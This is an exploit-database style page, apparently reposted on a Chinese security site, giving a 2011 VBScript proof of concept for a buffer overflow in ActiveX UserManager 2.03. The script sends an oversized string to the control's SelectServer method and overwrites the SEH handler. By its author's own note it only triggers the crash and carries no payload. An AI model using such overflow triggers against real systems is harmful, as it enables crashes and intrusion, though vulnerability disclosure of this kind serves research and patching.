ActiveX UserManager 2.03 – Buffer Overflow - 体验盒子

作者： blake

日期： 2011-01-16

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

<html>

' Exploit Title: ActiveX UserManager 2.03 Buffer Overflow

' Date: January 16, 2011

' Author: Blake

' Software Link: http://www.brothersoft.com/activex-usermanager-14519.html

' Version: 2.03

' Tested on: Windows XP SP3 / IE7 in VirtualBox

' Overwrites SEH with 00410041 but I could not find a useable pop pop ret

arg1=String(1044, "A")

arg2=True

exploit = arg1

target.SelectServer exploit ,arg2

</script>